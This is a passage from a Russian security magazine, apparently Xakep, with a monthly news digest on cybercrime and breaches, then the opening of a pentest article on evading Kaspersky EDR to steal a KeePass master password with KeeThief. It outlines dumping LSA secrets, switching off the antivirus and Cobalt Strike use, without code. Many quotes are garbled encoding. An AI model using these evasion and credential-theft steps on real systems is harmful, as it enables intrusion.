ему лич но. В те годы Мон тей ро писал, что Besa Maa — это мошен ничес тво
и в какой-то мере город ская леген да. Одна ко поль зовате ли сай та отно сились
к сво им «заказам» серь езно, дей стви тель но хотели при чинить дру гим людям
реаль ный вред, и эксперт дол го пытал ся пре дуп редить об этой опас ности
влас ти.

К сожале нию, пра воох раните ли всерь ез занялись Besa Maa толь ко
в 2020-х. В ито ге, по оцен ке Мон тей ро, с тех пор было арес товано око- 
ло 25 заказ чиков, одна ко адми нис тра ция сай та до недав него вре мени оста- 
валась неуло вимой.

В течение мно гих лет влас тям было неиз вес тно, кто сто ит за Besa Maa,
так как за все кон такты с поль зовате лями отве чал нек то «Юра» (Yura). Он
общался с людь ми, которые задава ли воп росы об услу гах кил леров, побуж- 
дал их делать заказы и на ломаном англий ском ста рал ся раз веять все их опа- 
сения. Опи раясь на логи таких чатов, влас ти пред полага ли, что он про жива ет
в Вос точной Евро пе (ско рее все го, в Румынии).

Да же сей час, пос ле всех арес тов и обыс ков, неяс но, была ли Besa Maa
детищем одно го челове ка, который раз вил свой «биз нес» до такой сте пени,
что ему пот ребова лась под дер жка целой коман ды, или за сай том всег да сто- 
яла некая груп пиров ка.

DIICOT сооб щает, что ущерб от работы Besa Maa оце нива ется при мер но
в 500 тысяч евро, но, если бы мошен ники хра нили бит коины, получен ные
в 2016 году, веро ятно, сегод ня те сто или бы гораз до боль ше.

Упо мяну тый Крис тофер Мон тей ро, который годами пытал ся прив лечь вни- 
мание к проб леме Besa Maa, отнесся к новос ти о воз можном задер жании
«Юры» неод нознач но.

«

»

«Õîðîøî, ÷òî ìåæ äóíàðîä íàÿ îïå ðàöèÿ ïðà âîîõ ðàíèòåëü íûõ îðãà íîâ

ïðè âåëà ê çàäåð æàíèþ ýòèõ ïðåñ òóïíè êîâ, íî íà÷ íóò ëè îíè êîã- 

äà‑íèáóäü àêòèâíîå ðàñ ñëå äîâà íèå ïî òûñÿ÷àì èìåí èç „ñïèñ êà ñìåð- 

òíè êîâ“?» — êîì ìåíòè ðóåò èññëå äîâà òåëü.

ДЕНЬГИ REVIL
За мес титель минис тра внут ренних дел РФ — началь ник Следс твен ного депар тамен та МВД Сер- 
гей Лебедев рас ска зал, что у учас тни ков REvil, арес тован ных в янва ре текуще го года, были
изъ яты огромные сум мы денег: более , , свы- 
ше , флеш-накопи тель с .

300 мил лионов руб лей 950 тысяч дол ларов
1 мил лиона евро 19,9 бит коина

Об арес те  человек, свя зан ных с REvil, ФСБ объ яви ла в середи не янва ря 2022 года. Тог да
обыс ки и арес ты прош ли по  адре сам в Мос кве, Санкт-Петер бурге, Ленин градской и Липец- 
кой областях.
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В нас тоящее вре мя сле дова тели уже про вели более  доп росов и  обыс ков, так же про- 
водит ся  тех нико-кри мина лис тичес ких и компь ютер ных судеб ных экспер тиз.

50 26
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BORED APE YACHT
CLUB ВЗЛОМАЛИ
Ха керы неиз вес тным обра зом ском про мети рова ли Instagram-акка унт*
и Discord-сер вер извес тно го NFT-про екта Bored Ape Yacht Club. Зло умыш- 
ленни ки рас простра нили сре ди под писчи ков рек ламу фей кового airdrop’а
с вре донос ной ссыл кой и в ито ге похити ли NFT общей сто имостью око- 
ло 3 мил лионов дол ларов.

Пред ста вите ли ком пании Yuga Labs, сто ящей за Bored Ape Yacht Club,
сооб щили о взло ме в офи циаль ном Twitter.

«

»

«Ïîõîæå, ÷òî Instagram* BAYC âçëî ìàí. Íèêàêî ãî ìèí òèíãà,

íå íàæèìàé òå íà ññûë êè è íå ñâÿ çûâàé òå ñâîé êîøåëåê íè ñ ÷åì», —

ïðå äóï ðåäèëè â Yuga Labs.

Че рез взло ман ные акка унты хакеры анон сирова ли фей ковый airdrop, соп- 
роводив рек ламу вре донос ной ссыл кой, перехо дя по которой люди попада ли
на фишин говый сайт, внеш не ими тиру ющий офи циаль ный сайт Bored Ape
Yacht Club, где в ито ге переда вали кон троль над сво ими кошель ками зло- 
умыш ленни кам.

Ин терес но, что в Yuga Labs уве ряют, что для взло ман ных учет ных записей
была вклю чена двух фактор ная аутен тифика ция и меры безопас ности в целом
«были жес тки ми». В нас тоящее вре мя ведет ся рас сле дова ние слу чив шегося,
но пока совер шенно неяс но, каким обра зом зло умыш ленни ки смог ли
получить дос туп к акка унтам про екта.

По дан ным OpenSea, пос ле взло ма вла дель цев сме нили 24 NFT из кол- 
лекции Bored Apes и 30 из Mutant Apes. Впро чем, отме чает ся, что некото рые
дер жатели NFT мог ли сами передать токены дру гим лицам из сооб ражений
безопас ности. Сто имость этих 54 NFT сос тавля ет при мер но 13,7 мил лиона
дол ларов.

Не зави симый иссле дова тель Zachxbt и вов се поделил ся ссыл кой
на Ethereum-адрес хакера, в нас тоящее вре мя помечен ный как фишин говый
на Etherscan. Судя по все му, за нес коль ко часов на этот адрес пос тупили сра- 
зу 134 NFT.

В Yuga Labs заяв ляют, что пос тра дав ших было нам ного мень ше.
По информа ции ком пании, в ходе ата ки были укра дены 4 NFT Bored Apes, 6
Mutant Apes и 3 BAKC, общая сто имость которых рав на приб лизитель- 
но 2,7 мил лиона дол ларов.

«

»

«ß òîëü êî ÷òî ïîòåðÿë íà ýòîì áîëåå 100 ýôè ðîâ. *** íåï ðèåì ëåìî.

[Ýòî áûë] îôè öèàëü íûé èíñòàã ðàì*, è ñàéò âûã ëÿäåë íàñ òîÿùèì.

Òåïåðü ÿ íàõîæóñü â ñèòó àöèè, êîã äà ìíå ïðè äåò ñÿ ïîäàòü â ñóä

íà Yuga èç‑çà ýòî ãî âçëî ìà. ß íå îòêà æóñü îò ñâî èõ 300 òûñÿ÷ äîë- 

ëàðîâ, ïîòîìó ÷òî èõ äåðü ìî âçëî ìàëè», — ïèøåò îäèí èç ïîñ òðà äàâ- 

øèõ. 

  

«Ýòî êàê íàá ëþäàòü çà ãðóï ïîé ëþäåé, êîòîðàÿ âáå ãàåò â ãîðÿùåå

çäà íèå, íà êîòîðîì íàïèñà íî „áåñ ïëàò íûå äåíü ãè“», — çëî ðàäñ òâó þò

äðó ãèå ïîëü çîâàòå ëè.

* Заб локиро ван в Рос сии, при над лежит ком пании Meta, приз нанной экс тре- 
мист ской орга низа цией, зап рещен ной на тер ритории РФ.

DDOS’ИТЬ РОССИЮ СТАЛИ ЧАЩЕ
В мар те 2022 года иссле дова тели «Лабора тории Кас пер ско го» зафик сирова ли на  боль ше
атак, чем в фев рале текуще го года. По срав нению с мар том 2021 года атак ста ло поч ти в 
боль ше.

54%
8 раз

По мимо количес тва атак, сущес твен но вырос ла и их про дол житель ность: если в фев- 
рале 2022 года ата ки в сред нем дли лись око ло  (самая дол гая — более ), то
в мар те сред няя про дол житель ность атак сос тавила более суток — .

7 часов 90 часов
29,5 часа

Так же был уста нов лен рекорд мак сималь ной про дол житель нос ти одной ата ки за всю исто рию
наб людений: она про дол жалась , то есть чуть более . Для срав нения: в фев- 
рале и мар те 2021 года сред няя дли тель ность инци ден та не пре выша ла , а самая
про дол житель ная ата ка дли лась не более .

145 часов 6 дней
12  минут

1,5 часа

На ибо лее под верже ны ата кам были , 
,  и .

го сударс твен ные орга ны фи нан совые орга низа- 
ции об разова тель ные учрежде ния СМИ

В мар те 2022 года самая боль шая наг рузка приш лась на финан совые орга низа ции, в пер вую
оче редь на бан ки: их доля в общем объ еме атак вырос ла в три раза — до .35%

РОССИЯН
БЛОКИРУЮТ
НА GITHUB
В начале апре ля 2022 года «Сбер» и «Аль фа-Банк» попали под бло киру ющие
сан кции Мин фина США, и теперь акка унты бан ков на GitHub ока зались
забане ны. Так же о бло киров ках сооб щают и час тные раз работ чики, не имев- 
шие отно шения к бан кам.

В начале мар те 2022 года адми нис тра ция GitHub  не бло киро вать
все акка унты рос сий ских поль зовате лей без раз бора (хотя такие прось бы
к GitHub пос тупали) и заверя ла, что будет при дер живать ся законов, которые,
впро чем, мог ли обя зать ком панию бло киро вать тех или иных раз работ чиков
из-за сан кций и законов об экспор те.

обе щала

Как ста ло извес тно в середи не апре ля, на GitHub были заб локиро ваны
десят ки акка унтов, сре ди которых акка унты «Сбер банка», «Аль фа-Бан ка»,
дру гих ком паний и даже инди виду аль ных раз работ чиков. В час тнос ти,
под бло киров ку попали: https://github.com/Sberbank-Technology,
https://github.com/sberbank-ai-lab и https://github.com/alfa-laboratory.

По мимо ком паний, под бло киров ками ока зались и отдель ные раз работ- 
чики. К при меру, о бане лич ных акка унтов сооб щили иссле дова тели Сер гей
Боб ров и Денис Колегов.

Пос ле бло киров ки лич ного GitHub-акка унта тот отме чает ся как suspended,
а кор поратив ный — как agged. В пос леднем вари анте дос туп к дан ным
репози тори ев может сох ранять ся в течение нес коль ких часов, тог да как дос- 
туп к лич ным акка унтам огра ничи вает ся сра зу.

Пос ле бло киров ки поль зовате ли получи ли пись ма, в которых ска зано, что
их акка унт может управлять ся из сан кци онно го реги она. При перехо де
по ссыл кам из писем им было пред ложено подать апел ляцию и объ яснить
отно шения ком пании или поль зовате ля с Север ной Коре ей, Сири ей, Кры- 
мом, ЛНР и ДНР.

МАСК НЕ ГОТОВ СОТРУДНИЧАТЬ С ГЕЙТСОМ
В кон це апре ля жур налис ты сли ли в сеть лич ную перепис ку Бил ла Гей тса и Ило на Мас ка, под- 
линность которой вско ре под твер дил пос ледний. В чате Билл Гей тс обра тил ся к Ило ну Мас ку,
пред лагая ему обсу дить бла гот воритель ность и воп росы изме нения кли мата. Судя по утек шим
в сеть скрин шотам, сна чала Маск не воз ражал про тив встре чи и воз можно го сот рудни чес тва,
одна ко потом все пош ло не по пла ну.

→ «У вас все еще откры та корот кая позиция на пол милли арда дол ларов про тив
Tesla?» — неожи дан но поин тересо вал ся Маск.

«Жаль это приз навать, но я все еще ее не зак рыл. [Но] я хотел бы обсу дить
воз можнос ти бла гот воритель нос ти», — отве тил Гей тс.

«Изви ните, я не могу серь езно отно сить ся к вашей бла гот воритель нос ти,
свя зан ной с изме нени ем кли мата, ког да у вас огромная корот кая позиция про- 
тив Tesla, ком пании, которая дела ет все для решения проб лем кли мати чес ких
изме нений», — заявил Маск, и на этом обще ние, похоже, прер валось.

Поз же Маск про ком менти ровал утеч ку в Twitter:

→ «Я слы шал от нес коль ких человек на TED, что у Гей тса все еще открыт шорт
на пол милли арда про тив Tesla, поэто му я и спро сил его. Это сов сем не сек рет».

Продолжение статьи →

https://support.google.com/googleplay/android-developer/answer/11899428#accessibility_preview
https://xakep.ru/2017/12/11/no-ban-for-accessibility-apps/
https://xakep.ru/2016/05/13/besa-mafia/
https://github.com/github/feedback/discussions/12042?sort=top#discussioncomment-2276190


 Начало статьи←

ИСХОДНИКИ YANDEX
DATABASE ОТКРЫТЫ
Ком пания «Яндекс» опуб ликова ла исходный код рас пре делен ной сис темы
управле ния базами дан ных Yandex Database (YDB). Тех нология поз воля ет
соз давать мас шта биру емые отка зоус той чивые сер висы, спо соб ные выдер- 
живать боль шую опе раци онную наг рузку. Исходный код, докумен тация, SDK
и все инс тру мен ты для работы с базой были опуб ликова ны на 
под лицен зией Apache 2.0.

GitHub

В ком пании рас ска зали, что YDB спо соб на обра баты вать мил лионы зап- 
росов в секун ду и сох раня ет работос пособ ность в слу чае выхода из строя
сер вера или даже целого дата-цен тра. Это обес печива ет ста биль ность соз- 
данных на ее осно ве про дук тов. Надеж ность YDB про вере на и в мас шта бах
самого Яндекса, где она исполь зует ся уже боль ше пяти лет. Про екты в YDB
раз меща ют коман ды Али сы, Так си, Мар кета, Мет рики и дру гих сер висов —
сей час в сис теме поч ти 500 про ектов.

Раз вернуть YDB мож но как на собс твен ных, так и на сто рон них сер верах —
в том чис ле в Yandex Cloud или дру гих облачных сер висах.

«

»

«Ìû óâå ðåíû, ÷òî áóð íîå ðàç âèòèå òåõ íîëîãèé, êîòîðîå ìû íàá ëþäà- 

åì â ïîñ ëåäíèå äåñÿòè ëåòèÿ, áûëî áû íåâîç ìîæíî áåç ïðè ìåíå íèÿ

îòêðû òîãî èñõîäíî ãî êîäà. Äîñ òóïíîñòü òåõ íîëîãèé ñïî ñîáñ òâó åò èõ

ðàñ ïðîñòðà íåíèþ è ñòè ìóëè ðóåò ê íèì èíòå ðåñ. Íàï ðèìåð, ñåé ÷àñ

óæå íåëü çÿ ïðåä ñòà âèòü ñåáå èíòåðíåò áåç òàêèõ áàç äàí íûõ,

êàê MySQL, PostgreSQL èëè ClickHouse. Ïóá ëèêóÿ êîä YDB, ìû ïðî äîë- 

æàåì ñëå äîâàòü ïðèí öèïàì îòêðû òîñ òè è äåëèì ñÿ ñî âñå ìè íàðàáîò- 

êàìè, íà êîòîðûå ïîò ðàòèëè ïî÷ òè äåñÿòü ëåò. Òåïåðü òåõ íîëîãèÿ,

êîòîðàÿ ïîç âîëÿ åò ßíäåêñó áûñ òðî ìàñ øòà áèðî âàòü ñÿ è äâè ãàòü ñÿ

âïå ðåä, áóäåò äîñ òóïíà âñåì ïîä ñâî áîä íîé ëèöåí çèåé Apache

2.0», — êîì ìåíòè ðóåò Àëåê ñåé Áàø êååâ, ãåíåðàëü íûé äèðåê òîð Yandex

Cloud.

По сло вам раз работ чиков, YDB реша ет задачи в одной из самых кри тич ных
областей — поз воля ет соз давать инте рак тивные при ложе ния, которые мож но
быс тро мас шта биро вать по наг рузке и по объ ему дан ных.

«

»

«Ìû ðàç ðàáàòû âàëè åå, èñõî äÿ èç êëþ ÷åâûõ òðå áîâà íèé ê ñåð âèñàì

ßíäåêñà. Âî‑ïåð âûõ, ýòî êàòàñ òðî ôîóñ òîé ÷èâîñòü, òî åñòü âîç- 

ìîæíîñòü ïðî äîë æèòü ðàáîòó áåç äåã ðàäàöèè ïðè îòêëþ ÷åíèè îäíî ãî

èç äàòà‑öåí òðîâ. Âî‑âòî ðûõ, ýòî ìàñ øòà áèðó åìîñòü íà äåñÿò êè òûñÿ÷

ñåð âåðîâ íà ÷òå íèå è íà çàïèñü. Â‑òðåòü èõ, ýòî ñòðî ãàÿ êîí ñèñòåí- 

òíîñòü äàí íûõ», — ãëà ñèò ñòàòüÿ êîì ïàíèè â áëî ãå.

О решении открыть исходни ки в ком пании пишут так:

«

»

«Îòêðû òèå ïðî åêòà ñîç äàåò èíòå ðåñ íåé øóþ äëÿ âñåõ win-win-ñèòó- 

àöèþ. Ó ñîîá ùåñ òâà, ñ îäíîé ñòî ðîíû, ïîÿâ ëÿåò ñÿ âîç ìîæíîñòü ïîëü- 

çîâàòü ñÿ óíè êàëü íûìè íàðàáîò êàìè, â êîòîðûå ßíäåêñ èíâåñòè ðîâàë

ñîò íè ÷åëîâå êî‑ëåò, ïîç íàêîìèòü ñÿ ñ êîäîì, ñâî áîä íî çàïóñ êàòü

è ðàç ðàáàòû âàòü ó ñåáÿ ðåøåíèÿ íà áàçå YDB. Òåõ íîëîãèè, ïîç âîëÿ- 

þùèå ßíäåêñó ðàç âèâàòü ñÿ áûñ òðåå, îïå ðàòèâ íî ðåàãè ðîâàòü íà ðîñò

íàã ðóçîê è ìàñ øòà áèðî âàòü ñÿ, òåïåðü äîñ òóïíû êàæ äîìó. Ñ äðó ãîé

ñòî ðîíû, ñèëü íî óâå ëè÷èò ñÿ âàðè àòèâ íîñòü ïîëü çîâàòå ëåé, ìû ñìî- 

æåì ïîëó÷èòü îáðàòíóþ ñâÿçü îò ìèðîâî ãî ñîîá ùåñ òâà è ñäå ëàòü áàçó

åùå ëó÷ øå. Âàæ íî ñëî ìàòü áàðü åð äëÿ ïîëü çîâàòå ëåé, êîòîðûå çàèí- 

òåðåñî âàíû â òåõ íîëîãèè, íî îñòà íàâ ëèâà þòñÿ, îïà ñàÿñü çàê ðûòîñ òè

è/èëè íåâîç ìîæíîñ òè èñïîëü çîâàòü åå íà ñâî åì îáî ðóäî âàíèè èëè â

ñâî èõ îáëà êàõ».

БАНКИ ВОЗВРАЩАЮТ НЕ ВСЁ
ЦБ РФ поделил ся инте рес ной ста тис тикой: за 2021 год бан ков ские кли енты впер вые переве ли
друг дру гу более  руб лей, но из них  руб лей похити ли
мошен ники. Увы, бан кам уда лось вер нуть пос тра дав шим поль зовате лям толь ко  от этой
сум мы, или  руб лей.

1  квад рилли она 13,5  мил лиар да
6,8%

920,5 мил лиона

Это худ ший показа тель за два года. Для срав нения, в 2020 году бан ки вер нули кли ентам 
от все го объ ема укра ден ных мошен никами денег —  руб лей.

11,3%
1,1 мил лиар да

В целом в 2021 году чис ло и объ ем мошен ничес ких перево дов вырос ли на  и 
по срав нению с показа теля ми 2020 года. Доля мошен ничес ких перево дов в общем объ еме
опе раций сос тавила .

33,8% 38,8%

0,00130%

ВЗЛОМ METAMASK
Соз датели крип токошель ка MetaMask опуб ликова ли пре дуп режде ние
для поль зовате лей iOS, сооб щив, что при вклю чен ном резер вном копиро- 
вании дан ных при ложе ния seed крип товалют ных кошель ков сох раня ется
в Apple iCloud. Это пре дуп режде ние появи лось из-за того, что один поль- 
зователь MetaMask уже потерял более 655 тысяч дол ларов в резуль тате
хорошо про думан ной фишин говой ата ки.

На пом ню, что seed в крип товалют ном мире — это сек ретная фра за вос- 
ста нов ления, защища ющая дос туп к содер жимому кошель ка и сос тоящая
из 12 слов.

В Twitter раз работ чики сооб щили, что, если зло умыш ленни ки про ник нут
в iCloud поль зовате ля (с помощью фишин га или подоб рав слиш ком сла бый
пароль), из-за хра нящих ся там бэкапов они смо гут зах ватить кон троль
над кошель ком и похитить чужие средс тва.

К сожале нию, такой сце нарий уже исполь зовал ся хакера ми как минимум
про тив одно го поль зовате ля MetaMask, который в ито ге лишил- 
ся 655 388 дол ларов. Жер тва получи ла нес коль ко тек сто вых сооб щений
с прось бой сбро сить учет ные дан ные от учет ной записи Apple, а затем зло- 
умыш ленник поз вонил с под дель ного номера Apple Inc., пред ста вив шись сот- 
рудни ком служ бы под дер жки, рас сле дующим подоз ритель ную активность.

Пос тра дав ший поверил мошен никам, выпол нил все их инс трук ции и пре- 
дос тавил фей ковым спе циалис там под дер жки шес тизнач ный код под- 
твержде ния, получен ный от Apple. Вско ре его кошелек MetaMask опус тел.
По сути, хакеры зап росили сброс пароля от учет ной записи Apple, и им тре- 
бова лось лишь прой ти допол нитель ную про вер ку для дос тупа к дан ным iCloud
жер твы, где хра нилась резер вная копия MetaMask и нуж ный зло умыш ленни- 
кам seed.

Те перь поль зовате лям нас тоятель но рекомен дуют исклю чить MetaMask
из резер вных копий iCloud, изме нив соот ветс тву ющий параметр в нас трой- 
ках: Settings → Prole → iCloud → Manage Storage → Backups.

28 ЛЕТ РУНЕТУ
Так как днем рож дения Рунета счи тает ся 7 апре ля 1994 года, в этом месяце ему исполни лось

 лет. Количес тво домен ных имен, зарегис три рован ных в зоне .RU, сос тавля ет более
, а в зоне .РФ — более .

28
5 000 000 670 000

По дан ным вице-премь ера РФ Дмит рия Чер нышен ко, по ито гам 2021 года еже месяч ная ауди- 
тория рос сий ско го сег мента интерне та пре выша ет  человек, а это более 
населе ния стра ны.

100  000  000 80%

Чер нышен ко уточ няет, что око ло  поль зовате лей интерне та заходят в сеть каж дый день,
а сре ди молодых рос сиян в воз расте  этот показа тель и вов се приб лизил ся к .

90%
12–24 лет 95%

БАГ В GITLAB
В начале апре ля инже неры GitLab устра нили кри тичес кую уяз вимость,
которая поз воляла уда лен ным зло умыш ленни кам получать дос туп к учет ным
записям поль зовате лей с помощью жес тко задан ных паролей. Проб лема
CVE-2022-1162 зат рагива ла как GitLab Community Edition (CE), так и Enterprise
Edition (EE).

Раз работ чики объ ясня ют, что ста тичес кие пароли по ошиб ке уста нав- 
ливались во вре мя регис тра ции на осно ве OmniAuth в GitLab CE/EE.

«

»

«Äëÿ ó÷åò íûõ çàïèñåé, çàðåãèñ òðè ðîâàí íûõ ñ èñïîëü çîâàíè åì

OmniAuth (íàï ðèìåð, OAuth, LDAP, SAML) â GitLab CE/EE âåð- 

ñèé 14.7 äî 14.7.7, 14.8 äî 14.8.5 è 14.9 äî 14.9.2, áûë óñòà íîâ ëåí

æåñ òêî çàêîäè ðîâàí íûé ïàðîëü, â òåîðèè ïîç âîëÿ þùèé çëî óìûø- 

ëåííè êàì çàõ âàòûâàòü ó÷åò íûå çàïèñè», — îáú ÿñíÿ åò êîìàí äà GitLab

â áþë ëåòåíå áåçîïàñ íîñòè.

Что бы испра вить ситу ацию, коман да GitLab уда лила файл
lib/gitlab/password.rb, который исполь зовал ся для наз начения жес тко закоди- 
рован ного пароля кон стан те TEST_DEFAULT.

Те перь GitLab при зыва ет поль зовате лей как мож но ско рее обно вить все
уста нов ки до пос ледних вер сий (14.9.2, 14.8.5 или 14.7.7), что бы защитить ся
от воз можных атак. Так же раз работ чики добави ли, что уже сбро сили пароли
некото рых поль зовате лей GitLab.com, стре мясь смяг чить пос ледс твия CVE-
2022-1162. При этом под черки вает ся, что пока никаких приз наков ком про- 
мета ции и экс плу ата ции это го бага хакера ми обна руже но не было.

КИБЕРАТАК В 2021 ГОДУ СТАЛО НА  БОЛЬШЕ6,5%

Эк спер ты Positive Technologies под готови ли отчет о киберуг розах 2021 года, отме тив домини- 
рова ние шиф роваль щиков сре ди вре донос ного ПО, повыше ние интенсив ности атак на крип- 
тобир жи и появ ление кри тичес ки опас ных уяз вимос тей, которые сра зу же экс плу ати рова лись
зло умыш ленни ками во мно жес тве орга низа ций по все му миру.

Об щее количес тво атак в 2021 году уве личи лось на  по срав нению с 2020 годом.
При этом доля целевых атак в срав нении с прош лым годом вырос ла на  про цен тных пун кта
и сос тавила  от обще го количес тва.

6,5%
4

74%

Как и в 2020 году,  всех атак были нап равле ны на орга низа ции. В трой ку наибо лее час то
ата куемых отраслей вош ли госуч режде ния ( ), медуч режде ния ( ) и про мыш ленные ком- 
пании ( ).

86%
16% 11%

10%

Ча ще все го хакеры исполь зовали мал варь ( ), соци аль ную инже нерию ( ), а так же экс- 
плу ати рова ли недос татки защиты и уяз вимос ти в соф те ( ).

63% 50%
32%

Сре ди вре доно сов, которые исполь зовались в ата ках на ком пании, чаще все го встре чались
шиф роваль щики: они были задей ство ваны в  слу чаев.60%

Ко личес тво атак на крип тобир жи так же вырос ло на  в срав нении с 2020 годом. К тому же
в прош лом году про изош ла одна из круп ней ших краж крип товалю ты в исто рии: зло умыш ленни- 
ки похити ли око ло  дол ларов у PolyNetwork.

44%

600 мил лионов

ДРАЙВЕРЫ AMD
СЛУЧАЙНО
РАЗГОНЯЮТ
ПРОЦЕССОРЫ
Ком пания AMD изу чает проб лему в сво их гра фичес ких драй верах, из-за
которой самоп роиз воль но меня ется про изво дитель ность про цес соров AMD
Ryzen. Ранее поль зовате ли обна ружи ли, что в их нас трой ках BIOS про исхо дят
необъ ясни мые изме нения, которых они не делали.

Су щес тво вание этой стран ной проб лемы пред ста вите ли AMD под твер- 
дили в беседе с жур налис тами сай та Tom’s Hardware. К сожале нию, пока ком- 
пания не пре дос тавила никаких под робнос тей об ошиб ке в GPU-драй верах,
а так же не давала рекомен даций, как устра нить ошиб ку, и не называ ла пред- 
полага емых сро ков ее исправ ления.

По ка извес тно лишь то, что проб лема авто мати чес кого раз гона зат рагива- 
ет поль зовате лей, которые исполь зуют одновре мен но виде окар ты и про цес- 
соры про изводс тва AMD, при чем баг про явля ется далеко не у всех.

Ес ли судить по тому, ког да в сети появи лись пер вые сооб щения об этой
ошиб ке, мож но пред положить, что проб лема воз никла в AMD Adrenalin вер- 
сии 22.3.1, выпущен ной 17 мар та 2022 года. Инте рес но, что ком пания AMD
уже выпус тила Adrenalin Edition 22.4.1, одна ко в при меча ниях к это му релизу
нет никаких упо мина ний об ошиб ках, поэто му неяс но, устра няет ли новая
вер сия баги.

По ка всем, кто исполь зует драй вер Adrenalin, рекомен дует ся обно вить его
до пос ледней дос тупной вер сии и наде ять ся, что AMD незамет но устра нит
баг с помощью сроч ного пат ча.

Поль зовате ли Reddit и вов се пред лага ют бороть ся с багом, соз давая
новые про фили нас тро ек, так как замена ста рых сох ранен ных про филей
на новые порой помога ет. Еще один обходной путь — уда лить Ryzen Master
SDK из Adrenalin, так как имен но этот ком понент поз воля ет модулям драй вера
вно сить изме нения в нас трой ки BIOS и пред назна чен для облегче ния дос тупа
к раз гону про цес сора.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
На хакер ских форумах набира ет популяр ность похити тель паролей BlackGuard

MailChimp взло мали, и мошен ники ата кова ли поль зовате лей кошель ков Trezor

Рос комнад зор зап ретил рек ламиро вать ресур сы Google

Apple оста вила без исправ лений кри тичес кие баги в macOS Big Sur и Catalina

Вре донос ный сер вис Parrot TDS исполь зует 16 500 сай тов для рас простра нения мал вари

Утек шие исходни ки шиф роваль щика Conti исполь зуют ся для атак на рос сий ские ком пании

Раз работ чики бра узе ра Brave счи тают стра ницы Google AMP вред ными для кон фиден циаль нос- 
ти

«Сбер банк» бло киро вал мас штаб ную ата ку на бан ков ские кар ты рос сиян

Об наружен под поль ный мар кет плейс Industrial Spy, тор гующий дан ными

При ложе ния для виде окон ферен ций «слу шают» поль зовате лей даже пос ле нажатия кноп ки Mute

https://github.com/ydb-platform/ydb
https://xakep.ru/2022/04/01/blackguard/
https://xakep.ru/2022/04/04/mailchimp-trezor/
https://xakep.ru/2022/04/07/rkn-google/
https://xakep.ru/2022/04/07/perpetual-zero-days/
https://xakep.ru/2022/04/08/parrot-tds/
https://xakep.ru/2022/04/11/conti-nb65/
https://xakep.ru/2022/04/20/brave-de-amp/
https://xakep.ru/2022/04/18/sber-attack-blocked/
https://xakep.ru/2022/04/18/industrial-spy/
https://xakep.ru/2022/04/19/not-so-muted/
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Не дав но на пен тесте мне понадо билось
вытащить мас тер-пароль откры той базы
дан ных KeePass из памяти про цес са
с помощью ути литы  из арсе нала
GhostPack. Все бы ничего, да вот EDR, сле- 
дящий за сис темой, катего ричес ки
не давал мне это го сде лать — ведь
под капотом KeeThief живет клас сичес кая
про цеду ра инъ екции шелл-кода в уда лен- 
ный про цесс, что не может остать ся
незаме чен ным в 2022 году.

KeeThief

В этой статье мы рас смот рим замеча тель ный сто рон ний механизм D/Invoke
для C#, поз воля ющий эффектив но дер гать Windows API в обход средств
защиты, и перепи шем KeeThief, что бы его не ловил великий и ужас ный «Кас- 
пер ский». Пог нали!

ÏÐÅÄÛÑÒÎÐÈß

В общем, пре бываю я на внут ряке, домен-админ уже пой ман ,
но вот оста лась одна вред ная база дан ных KeePass, которая, конеч но же,
не захоте ла сбру тить ся с помощью hashcat и . В KeePass —
дос тупы к кри тичес ки важ ным ресур сам инфры, опре деля ющим исход внут- 
ряка, поэто му доб рать ся до нее . На рабочей стан ции, где поль зак кру- 

тит инте ресу ющую нас базу, гля дит в оба Kaspersky Endpoint Security (он же
KES), который не дает рас сла бить ся. Рас смот рим, какие есть вари анты
получить желан ный мас тер-пароль, не при бегая к социн женерии.

и наказан

keepass2john.py

íóæ íî

Преж де все го ска жу, что успех это го пред при ятия — в обя затель ном
исполь зовании кру той мал вари  из кол лекции GhostPack авторс тва
небезыз вес тных  и . Ядро прог раммы — кас томный
шелл-код, который вызыва ет  в отно шении зашиф рован ной
области вир туаль ной памяти KeePass.exe и выдер гива ет отту да наш мас- 
тер-пароль. Если есть шелл-код, нужен и заг рузчик, и с этим воз ника ют труд- 
ности, ког да на хос те при сутс тву ет EDR...

KeeThief
@harmj0y @tifkin_

RtlDecryptMemory

Впро чем, мы отвлек лись. Какие были вари анты?

Ïîòóøèòü AV

Са мый прос той (и глу пый) спо соб — вырубить к чер тям «Кас пер ско го»
на пару секунд. «Это не ред тим, поэто му пра во имею!» — подумал я. Так
как при виле гии адми нис тра тора домена есть, есть и дос туп к сер веру адми- 
нис три рова ния KES. Сле дова тель но, и к учет ке  (в этом слу чае
исполь зовалась локаль ная УЗ), кре ды от которой хра нят ся сре ди сек ретов
LSA в плей нтек сте.

KlScSvc

По рядок дей ствий прос той. Дам паю LSA с помощью .secretsdump.py

Пот рошим LSA

Гру жу кон соль адми нис три рова ния KES  и логинюсь,
ука зав хос тнейм KSC.

с офи циаль ного сай та

Кон соль адми нис три рова ния KES

Сто порю «Кас пера» и делаю свои гряз ные делиш ки.

AdobeHelperAgent.exe, ну вы поняли, ага

Prot! Мас тер-пароль у нас. Пос ле окон чания про екта я опро бовал дру гие
спо собы решить эту задачу.

Ïîëó÷èòü ñåññèþ C2

Мно гие -фрей мвор ки уме ют тащить за собой DLL ран тай ма кода C#
(Common Language Runtime, CLR) и заг ружать ее отра жен но по прин ципу 
(Reective DLL Injection) для запус ка мал вари из памяти. Теоре тичес ки
это может пов лиять на про цесс отло ва управля емо го кода, исполня емо го
через такой трюк.

C2
RDI

Пол ноцен ную сес сию Meterpreter при активном анти виру се Кас пер ско го
получить труд но из-за оби лия арте фак тов в сетевом тра фике, поэто му его

 я даже про бовать не стал. А вот модуль 
Cobalt Strike при нес свои резуль таты, если пра виль но получить сес сию
beacon (далее скрин шоты будут с домаш него KIS, а не KES, но все тех ники
работа ют и про тив пос ледне го — про вере но).

execute-assembly execute-assembly

KeeTheft.exe с помощью execute-assembly CS

Все козыри рас кры вать не буду — мне еще работать пен тесте ром, одна ко
этот метод тоже не пред став ляет боль шого инте реса в нашей ситу ации.
Для глад кого получе ния сес сии «маяч ка» нужен внеш ний сер вак, на который
надо нак рутить валид ный сер тификат для шиф рования SSL-тра фика,
а заражать таким обра зом машину с  перимет ра заказ чика —

сов сем невеж ливо.

âíóò ðåííå ãî

Ïåðåïàÿòü èíñòðóìåíò

Са мый инте рес ный и в то же вре мя тру дозат ратный спо соб — перепи сать
логику инъ екции шелл-кода таким обра зом, что бы EDR не спа лил в момент
исполне ния. Это то, ради чего мы сегод ня соб рались, но для начала нем ного
теории.

Примечание
Де ло здесь имен но в укло нении от эвристи чес кого ана лиза, так как, если
